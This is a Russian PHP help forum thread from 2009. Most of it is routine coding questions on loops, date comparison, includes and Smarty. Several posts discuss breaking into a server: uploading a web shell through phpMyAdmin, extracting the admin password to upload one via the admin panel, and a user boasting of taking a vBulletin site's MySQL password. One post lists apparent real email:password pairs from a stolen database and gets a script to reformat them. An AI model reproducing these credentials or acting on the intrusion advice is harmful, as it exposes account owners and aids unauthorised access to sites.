http://smarty.net/distributions/manual/ru/Smarty-2.6.14-docs.pdf

m0Hze
07.04.2009, 23:13
http://smarty.net/manual/ru/
или вот
http://smarty.net/distributions/manual/ru/Smarty-2.6.14-docs.pdf
Было бы неплохо посмтреть примеры,с коментариями,но таковых там нет,или есть но там без объяснений как что работает :(

SQLHACK
07.04.2009, 23:13
Вообще смарти довльно медленный шаблонизатор, и сильно большой проект с динамическим контентом, может и повалить сервак, под оч большие проекты, надо писать своё.

m0Hze
07.04.2009, 23:25
да нет,проэкт не очень большой,на примере работ,похож на вконтакте,тоесть пользователь регистрируеться,и весь смысл идет в его скажем так профиле,ну давайте как пример вконтакте,система такаяже будет,тоже личная страичка только цель другая совсем.
При написании своего шаблонризатора я понял что я либо сойду с ума,либо весь проэкт и будет сосоять из шаблонизатора.
Поэтому решил искать готовое решение.Просто слушал про смарти,поэтому и спрашиваю про него.Если есть чтото другое с приерами,я конечно неоткажусь.

m0Hze
07.04.2009, 23:29
в данный момент,после прочтения манов,я думаю делать по старинке,чтото вроде:
инклудим шапку.(одинаковое везде)
инклудим боковое меню.(везде почти одинаковое,определать какой выводить по сессии
{далее идет сам основной код,где определяються переменные,и прочее.Тутже создаем ОСНОВНОЙ блок с контентом,профилем.}
инклдим футер(везде один)
Вот так наверно и буду делать,а то я с ума сойду с шаблонихатором,и так мозг кипит,первй более менее большой и серьезный проэкт...

SQLHACK
07.04.2009, 23:41
ну всё зависит от кол-ва пользователей, я про это говорил когда говорил о размере

m0Hze
07.04.2009, 23:43
ну всё зависит от кол-ва пользователей, я про это говорил когда говорил о размере
да я не думаю что пользователей будет очень много,ресурс довольно таки узкоспециализированый,так что нерасчитываю на широкую публику...

.:EnoT:.
08.04.2009, 03:59
Свой шаблонизатор это всего-лишь небольшой класс с парочкой методов, а для твоего уровня вполне сойдёт всего одна функция...а смарти это огромная никчёмная вещь.

svesve
08.04.2009, 09:35
Подскажите такой вопрос
есть цикл
for($i=1;$i<10;$i++){
echo $i;
}

получим на выходе 1 2 3 4 5..... как получить 01 02 03 04 ... 11 12 13???????

t4Nk
08.04.2009, 10:10
Подскажите такой вопрос
есть цикл
for($i=1;$i<10;$i++){
echo $i;
}

получим на выходе 1 2 3 4 5..... как получить 01 02 03 04 ... 11 12 13???????

echo $i; замени на printf('%02d', $i);

AFoST
08.04.2009, 10:11
вот так будет выглядеть
Подскажите такой вопрос
есть цикл
for($i=1;$i<100;$i++){
if($i<10){
echo '0'.$i;
} else {
echo $i;
}
}

получим на выходе 1 2 3 4 5..... как получить 01 02 03 04 ... 11 12 13???????

Chaak
08.04.2009, 10:40
0100?

eLWAux
08.04.2009, 13:31
как получить 01 02 03 04 ... 11 12 13???????
<?php
for($i=1;$i<=100;$i++){
$dig = ($i<10)?'0'.$i:$i;
echo $dig."\n";
}
?>

m0Hze
08.04.2009, 13:35
<?php
for($i=1;$i<=100;$i++){
$dig = ($i<10)?'0'.$i:$i;
echo $dig."\n";
}
?>

Во тсейчас задам глупый вопрос,но просто всегда интересовало :)
Что значит ? and :?
Это чтото типо,иф елсе? Можно просто по руски написать,что означает данная строка.
($i<10)?'0'.$i:$i;
Интересно)

razb
08.04.2009, 13:44
Что значит ? and :?
Это чтото типо,иф елсе? Можно просто по руски написать,что означает данная строка.
($i<10)?'0'.$i:$i;
Интересно)
Тернальный оператор, аналог if-else, в некоторых местах очень удобен)
<условие>?<если_тру))>:<если _не_тру))>

DTW
08.04.2009, 15:15
<?php
include("lib.php");

function linkurl($link)
{

connection();
$query = "SELECT * FROM link where site='".$link."'";
$rezult = mysql_query($query);
if(!$rezult) return mysql_error();

if(mysql_numrows($rezult) >0){
return false;

}

else {

$query2 = "INSERT INTO link (site,date) VALUES('$link', NOW())";
$rez = mysql_query($query2);
if(!$rez) return mysql_error() ;
return true;

}


}

function Findurl($http,$path,$file,$lim=0)
{
//$id = file_get_contents($http,'rb');
$curl = curl_init($http.$path.$file);
// Параметры соединения
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
// Получаем соедржимое страницы
$id2 = curl_exec($curl);
// Закриваем соединение
curl_close($curl);

$mas = array();
$pat = '|(\w*\.php\?option=com_content&amp;(?:\w*.\w*&amp;)*\w*.\ w*)|is';
$total = preg_match_all($pat,$id2,$poc) ;



for($i=0; $i < $total ; $i++)
{
$mas[] = $poc[1][$i];

}





foreach ($mas as $link)
{
linkurl($link);
}
// if($lim == 3) exit();
connection();
$query1 = "SELECT site FROM link limit $lim,1 ";
$rezult1 = mysql_query($query1);
if(!$rezult1) return mysql_error();


if(mysql_numrows($rezult1) > 0){
$pagelink = mysql_fetch_array($rezult1);
$filelink = $pagelink['site'] ;
echo $filelink."\r\n";

Findurl($http,$path,$filelink,$lim+1) ;
}
}

Findurl('http://planeta.ls','/portal/','index.php');

echo "Finish";
?>

Например что б я нажал на клавишу программа остановилать

m0Hze
08.04.2009, 15:32
Ctrl+C

svesve
08.04.2009, 15:32
$days=date('t');
$month=date('m');

for($i=1;$i<=$days;$i++){
if($i<10){$i='0'.$i;}
$temp=$i.'-'.$month;
if($date_s=='-' and $date_e=='-'){
$out .='<td width="15">&nbsp;</td>';
}else{
if($date_s<=$temp and $date_e>=$temp){
$out .='<td width="15" bgcolor="black">&nbsp;</td>';
} else{
$out .='<td width="15">&nbsp;</td>';}
}
}

$date_s - дата полученная с БД пусть будет 05-06
$date_e - дата полученная с БД пусть будет 05-07

далее смотри скоко дней в месяце и пускаем цикл в котором
сравниваем даты с кокретной датой месяца если условие выполняется то ячейка таблицы закрашивается...

собственно делаю график отпусков ))
дак вот проблема в том что когда мы проверяем конечную дату 05-07 с конкретной датой например 10-06 то получпется что 10-06 больше чем 05-07

пробовал через mktime далее уже date и сравнить но все тщетно, кто что может подсказать?!

Zitt
08.04.2009, 15:37
есть код

for ($i = 1; $i <= 5; $i++) {
$url="http://1.tv/ciiiige={$i}";
echo $url; // выводит что надо
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, "$url");
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
curl_setopt ($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_COOKIE, 'som JSESB3272');
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_REFERER, 'http://wk/');
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION,1);
curl_setopt ($ch, CURLOPT_HEADER, 1);
$line=curl_exec($ch);
curl_close($ch);
#echo $line;
preg_match_all('|href="/e/([^"\s]*)|i',$line,$out);
print_r ($out); // выводит массив
$c=count($out[1]); // именно так пишет в фаил что надо и сколько надо)
for ($i=0;$i<$c;$i++) {
fwrite($file, $out[1][$i]."\n");
}
}

все хорошо но почему первый цикл for ($i = 1; $i <= 5; $i++) { проходит только один раз((

m0Hze
08.04.2009, 15:39
ожет стоит попробывать назвать во второ цыкле переменные подругому,не $i a $a? :)

Zitt
08.04.2009, 15:46
m0Hze, точна спс =)

DTW
09.04.2009, 05:05
Вопрос cлед как пройти авторизацию на форуме

ipb v2.1.7

на SMF прошел так

<?php

$http="http://localhost/board/index.php?action=login2";
//$http="http://localhost/click.php";
$curl = curl_init($http);
$cookie="";

$data = 'frmLogin&user=admin2&passwrd=pass&cookielength=60&cookieneverexp&submit=Login\r\n\r\n';
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_REFERER,1);
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,$data);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2');
curl_setopt($curl,CURLOPT_COOKIESESSION,1);
//curl_setopt($curl, CURLOPT_COOKIE,$cookie);


$text = curl_exec($curl);
curl_close($curl);
echo $text;
?>

DDoSька
09.04.2009, 05:23
Вопрос cлед как пройти авторизацию на форуме

ipb v2.1.7

на SMF прошел так

<?php

$http="http://localhost/board/index.php?action=login2";
//$http="http://localhost/click.php";
$curl = curl_init($http);
$cookie="";

$data = 'frmLogin&user=admin2&passwrd=pass&cookielength=60&cookieneverexp&submit=Login\r\n\r\n';
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_REFERER,1);
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,$data);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2');
curl_setopt($curl,CURLOPT_COOKIESESSION,1);
//curl_setopt($curl, CURLOPT_COOKIE,$cookie);


$text = curl_exec($curl);
curl_close($curl);
echo $text;
?>
Отснифать переменные не пробовал?

diznt
09.04.2009, 14:40
И так нужно чтобы при нажатии на кнопку выводилось над формой(форма сдвигаеться вниз автоматом) надпись "zzzzzzz"
Как это сделать? Напишите код а то чет где то было но не могу найти

Kaimi
09.04.2009, 14:52
И так нужно чтобы при нажатии на кнопку выводилось над формой(форма сдвигаеться вниз автоматом) надпись "zzzzzzz"
Как это сделать? Напишите код а то чет где то было но не могу найти

В смысле так?

<?
isset($_POST['do']) ? print "zzzzzzz" : 0;
?>
<html>
<form method="post">
<input type="submit" name="do" value="OK">
</form>
</html>

diznt
09.04.2009, 14:54
Kaimi да спасибо

jkSeyv
09.04.2009, 16:24
Уже где-то видел скрипт, который парсит некую базу, предположим это будет база мыл и пассов в таком виде:

demareus@rambler.ru:198814 sirenaigrevna@rambler.ru:5555555 sergei_891@mail.ru:gbhju11a10191 mega-paul@mail.ru:раффити

вобщем видно, что все они записанны через пробел, нужно чтоб скрипт отпарсил в нормальный вид в файл, в котором база уже в нормальном виде - с каждой строки..

скрипт искал, но чета не нашёл, если у кого есть поблизости, то прошу скиньте его сюда)

laedafess
09.04.2009, 16:37
<?
$f=file("fignya.txt");
$q=fopen("norm.txt","a+");
foreach($f as $gg)
fputs($q,str_replace(" ","\r\n",$gg));
fclose($q);
?>

tip4il
09.04.2009, 16:41
инклудит index.php бесконечно.
а с другими файлмами всё норм.


<?
if ($_GET['cat'] == 1) include("index.php");
if ($_GET['cat'] == 2) include("./code/bash.php");
if ($_GET['cat'] == 3) include("./code/new.php");
if ($_GET['cat'] == 4) include("./code/add.php");
if ($_GET['cat'] == 5) include("./code/top.php");
?>


почему так? или подскажите как это по другому реализовать ;)

m0Hze
09.04.2009, 16:44
В общем.
Есть phpmyadmin, юзверь без привлегий.Но могу добвлять-удалть из БД все что нужно.
На сервере,права выставлены грамотно,никуда ничего залить немогу.
Возможно ли при таком раскладе залить шелл через базу?

laedafess
09.04.2009, 16:52
В общем.
Есть phpmyadmin, юзверь без привлегий.Но могу добвлять-удалть из БД все что нужно.
На сервере,права выставлены грамотно,никуда ничего залить немогу.
Возможно ли при таком раскладе залить шелл через базу?
Это кажись вопрос не для этого раздела)
И я не понял create_priv у тебя "Y" или не "Y"?
Если "Y", ищи папки в которые можно залить шелл.
Если не "Y", вытаскивай пасс админа и лей через админку или попробуй что-нибудь из http://forum.antichat.ru/thread50669.html

rushter
09.04.2009, 16:56
инклудит index.php бесконечно.
а с другими файлмами всё норм.


<?
if ($_GET['cat'] == 1) include("index.php");
if ($_GET['cat'] == 2) include("./code/bash.php");
if ($_GET['cat'] == 3) include("./code/new.php");
if ($_GET['cat'] == 4) include("./code/add.php");
if ($_GET['cat'] == 5) include("./code/top.php");
?>


почему так? или подскажите как это по другому реализовать ;)
быдлокод ;)
http://ru.php.net/switch

m0Hze
09.04.2009, 16:56
Это кажись вопрос не для этого раздела)
И я не понял create_priv у тебя "Y" или не "Y"?
Если "Y", ищи папки в которые можно залить шелл.
Если не "Y", вытаскивай пасс админа и лей через админку или попробуй что-нибудь из http://forum.antichat.ru/thread50669.html
Такс, в общем.
Админка ВБ, шелл залить невозмжно,или я незнаю как.Использовал свой способ для юзанья шела,но не заливал его,так скаать инклудил.Ну это другой разговор.
Вся проблема в том,что в корне на все файлы стоит пермисион_дениед, а глуюже зелезть немогу,шелл не позволяет :(
Вытащил пасс от мускуля (кстати,сниму видео,выложу в уязвимости,нашел очень неплохую штуку в вобле).
Вот мучаюсь сижу)

m0Hze
09.04.2009, 16:58
Да и еще,какая команда создает файл,тоесть не fopen и прочее,а именно команда на создание,в которой можно задать чмод,и прочее при создании.А то чтото запамятовал,но помню что есть подобное.
И да,пока не забыл! как будет правильно,сделать листинг директорий?
system('ls -la')? что тоакое вроде...

mailbrush
09.04.2009, 17:16
инклудит index.php бесконечно.
а с другими файлмами всё норм.


<?
if ($_GET['cat'] == 1) include("index.php");
if ($_GET['cat'] == 2) include("./code/bash.php");
if ($_GET['cat'] == 3) include("./code/new.php");
if ($_GET['cat'] == 4) include("./code/add.php");
if ($_GET['cat'] == 5) include("./code/top.php");
?>


почему так? или подскажите как это по другому реализовать ;)
rushter прав - это быдлокод, но если тебе интерестно знать: if ($_GET['cat'] == 1) include("index.php"); У тебя идет условие ЕСЛИ существует $_GET['cat'], а т.е. = true (то же, что и еденица), инклюдит индекс. Во всех условиях у тебя существует $_GET['cat'], поэтому инклюдится индекс.

Dr.Gonzo
09.04.2009, 17:18
Подскажите пожалуйста
Есть скрипт, к примеру, такого типа:

$a = 1;
while (1)
{
// здесь выполняются долгие вычисления
echo($a);
// здесь вывод результатов
$a = $a+1;
if ($a>10) break;
}
После запуска скрипт зависает секунд на 10, затем выдает весь список результатов.
Как сделать, чтобы результаты выводились по мере вычислений в цикле?
Юзать Ajax? Писать данные в файл?
Заранее благодарен!

d_x
09.04.2009, 17:21
$a = 1;
while (1)
{
// здесь выполняются долгие вычисления
echo($a);
ob_flush();
flush();
// здесь вывод результатов
$a = $a+1;
if ($a>10) break;
}

m0Hze
09.04.2009, 17:21
инклудит index.php бесконечно.
а с другими файлмами всё норм.


<?
if ($_GET['cat'] == 1) include("index.php");
if ($_GET['cat'] == 2) include("./code/bash.php");
if ($_GET['cat'] == 3) include("./code/new.php");
if ($_GET['cat'] == 4) include("./code/add.php");
if ($_GET['cat'] == 5) include("./code/top.php");
?>


почему так? или подскажите как это по другому реализовать ;)
Не слушай их :D
Пиши как тебе угодно,со временем поймеш,когда узнаеш другие функции,что так писать неудобно.
Решение проблемы,в том,что возьми числа в ' '
Тоесть напиши везде '1','2'..

laedafess
09.04.2009, 17:22
Да и еще,какая команда создает файл,тоесть не fopen и прочее,а именно команда на создание,в которой можно задать чмод,и прочее при создании.А то чтото запамятовал,но помню что есть подобное.

touch file //создает
chmod 777 file //выставляет права
ну если через php, то засовывай это в system или passthru

m0Hze
09.04.2009, 17:23
Да и еще,какая команда создает файл,тоесть не fopen и прочее,а именно команда на создание,в которой можно задать чмод,и прочее при создании.А то чтото запамятовал,но помню что есть подобное.
И да,пока не забыл! как будет правильно,сделать листинг директорий?
system('ls -la')? что тоакое вроде...
А кито помогет мне? (

mailbrush
09.04.2009, 17:25
Не слушай их
а что я не так сказал... ? Вопрос был:
почему так? или подскажите как это по другому реализовать
Я на него ответил =)

razb
09.04.2009, 17:51
Да и еще,какая команда создает файл,тоесть не fopen и прочее,а именно команда на создание,в которой можно задать чмод,и прочее при создании.А то чтото запамятовал,но помню что есть подобное.
Есть сист. вызов open() там и права задаются, и способ открытия/создания, а в пхп хз можно его вызывать или нет)
И да,пока не забыл! как будет правильно,сделать листинг директорий
ls -la - только одна
ls -Rla - рекурсивно

Byrger
09.04.2009, 17:52
Как в переменную загрузить текст документа?
И посоветуйте не сложный шаблонизатор без условий но чтоб переменные принимал...

laedafess
09.04.2009, 18:01
Как в переменную загрузить текст документа?
$f=file("document.txt");
$f=file_get_contents("document.txt");

svesve
09.04.2009, 18:45
как правильно сравнивать даты между собой? какая из них больше
например 25-05 и 27-04

Byrger
09.04.2009, 18:57
Как из скрипта узнать в какой директории сейчас находится скрипт?

gLuk!
09.04.2009, 18:59
веделяешь из строки месяц и день. начало сравниваешь по месяцу какой больше если же одинаковые то по дню. что тут сложного?

gLuk!
09.04.2009, 19:01
Как из скрипта узнать в какой директории сейчас находится скрипт?
<?
echo $_SERVER['DOCUMENT_ROOT'];
?>

Byrger
09.04.2009, 19:23
<?
echo $_SERVER['DOCUMENT_ROOT'];
?>
А каталог надо а не полный путь...

jkSeyv
09.04.2009, 19:25
laedafess, за скрипт спасибо ;)

Pashkela
09.04.2009, 19:46
как правильно сравнивать даты между собой? какая из них больше
например 25-05 и 27-04


<?php
$t1='2009-27-05';
$t2='2009-27-04';

if ($t1>$t2) echo'Первая дата больше второй';
else echo 'Вторая дата больше первой';
?>


Если вы видите дату без года это еще не означает, что его нет

Gifts
09.04.2009, 20:36
Byrger

echo getcwd();
//или
echo dirname(__FILE__);


Pashkela Так сравнивать даты НЕЛЬЗЯ. Это сравнение двух строк, например первой декабря будет раньше второго мая.

Должно быть как-то так:<?
/*
Дата должна быть такого формата year-month-day.
*/
$t1='2009-05-10';
$t2='2009-05-01';

if (strtotime($t1)>strtotime($t2)) echo'Первая дата позже второй';
else echo 'Вторая дата позже первой';
?>

Pashkela
09.04.2009, 20:57
Pashkela Так сравнивать даты НЕЛЬЗЯ. Это сравнение двух строк, например первой декабря будет раньше второго мая.




<?php
/*
Дата должна быть такого формата year-day-month.
*/
$t1='2001-01-12';
$t2='2001-02-05';

if ($t1>$t2) echo'Первая дата позже второй';
else echo 'Вторая дата позже первой';
?>


Gifts, приведи пожалуйста хоть один реальный пример, когда мой вариант не сработает

year-day-month - именно такой вариант был в исходном условии задачи, только без года

astrologer
09.04.2009, 21:20
$t1 = '2001-01-12';
$t2 = '2001-02-05';
// ^
// Очевидно же, что сравнение заканчивается тут и месяц не учитывается

Pashkela
09.04.2009, 21:28
Гы, чото туплю к вечеру, был не прав, погорячился:)

awdrg
09.04.2009, 21:49
Самый Ъ способ:

<?php
$date1 = "12-10-05"; // dd:mm:yy
$date2 = "17-12-03";
if ($date1 == $date2)
echo "Draw :D";
else
{
preg_match_all('#\d\d#',$date1,$temp1);
preg_match_all('#\d\d#',$date2,$temp2);
$year1 = $temp1[0][2];
$month1 = $temp1[0][1];
$day1 = $temp1[0][0];

$year2 = $temp2[0][2];
$month2 = $temp2[0][1];
$day2 = $temp2[0][0];

if (($year1>$year2)
or (($year1 == $year2) and ($month1 > $month2))
or (($year1 == $year2) and ($month1 == $month2) and ($day1>$day2)))
echo "1 date bigger\n";
else
echo "2 date bigger\n";
}
?>

Нужно доработать для дат младше 2000 года, но я старался сделать не юзабилити софт, а лишь показать приблизительный пример конечного скрипта :D

fatalo
09.04.2009, 21:55
Есть ли готовые примеры авторизации на форумах булок?Просьба "отснифать" посылаемые заголовки не предлагать.Хочется увидеть все в идеале(а не мой быдлокод)

Byrger
09.04.2009, 22:55
function Template($template){
$a = eval("\$tpl->output(\"".$tpl->get_admin("".$tamplate."")."\");");
return $a;
}

Как правильно написать функцию чтоб она выполняла норматьно eval?

laedafess
09.04.2009, 23:17
function Template($template){
$a = eval("$tpl->output(\"".$tpl->get_admin($template)."\");");
return $a;
}

Byrger
10.04.2009, 05:46
function Template($template){
$a = eval("$tpl->output(\"".$tpl->get_admin($template)."\");");
return $a;
}

ну такто если подумать разницы никакой!
И не работает

Gifts
10.04.2009, 08:15
Byrger два вопроса - зачем здесь эвал, и второй - $tpl не находится в области видимости?

function Template($template){
GLOBAL $tpl;
$a = eval('$tpl->output("'.$tpl->get_admin($tamplate).'");');
return $a;
}

Byrger
10.04.2009, 10:28
Parse error: syntax error, unexpected T_EXIT in ...

при вызове функции

m0Hze
10.04.2009, 12:28
ты в конфиг то заглядывал хотябы?

m0Hze
10.04.2009, 12:56
я там не понял, я начинающий просто, подскажи плиз! с меня +!
Инструкция:
Вводим в браузере google.ru, в поле поиска введем: "Инструкция по установке Apach и MySQL",получаем многа инструкций.
Или, идем на video.antichat.ru и ищем тамвидео по установке выше скзаного.Там есть всо.
Вотъ

.:EnoT:.
10.04.2009, 13:08
_SEREGA_
Имхо, рано тебе свой серв собирать...поставь чё-нить готовое, наподобии wampserver, там и панелько есть 8)

scrat
10.04.2009, 22:52
Да я токо для изучения пхп серв собираю!
Ставь готовую сборку(как ранее предложил енот), предлагаю тебе AppServ(сам юзаю) или denwer.

пс енот пошли пиво пить.

Велемир
10.04.2009, 23:23
Люди,чем можно раззендить,а потом зазендить пхп скрипт ? И,главное,как ?

mailbrush
10.04.2009, 23:36
http://unzend.com/

Велемир
10.04.2009, 23:39
Бле,неужели это платно? ...

laedafess
11.04.2009, 01:24
http://forum.xakepok.org/thread3080.html
http://void.su/webtools/dezend/

Велемир
11.04.2009, 02:40
2) Воид пашет,но иногда браущер выдаёт,мол *Попытка соединения не удалась*.С чем это может быть связано ?

Так,скриптег дезендили...А как терь зазендить?:Д

NuR
11.04.2009, 04:07
логично подумать что http://www.zend.com/en/products/guard/optimizer/, не так ли?

TANZWUT
11.04.2009, 12:47
у меня вывод в скрипте статистики админки:
foreach($stats as $row)
{
$tmpl .= '<tr><td align="center">'.date("H:i:s", strtotime($row['date'])).'</td><td>'.$row['referer'].'</td><td>'.$row['user_agent'].'</td><td>'.long2ip($row['ip']).'</td></tr>';
}


всё в админке в cp1251 но вывод $row['referer'] в utf-8

сделал: .iconv("urf-8", "windows-1251",$row['referer']).

и ничего не выводит..

а то неудобно смотреть записи типа:
12:11:18 http://yandex.ru/yandsearch?p=47&text=Детский сад. Методическая копилка&clid=40316 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1) 90.151.***.***

как?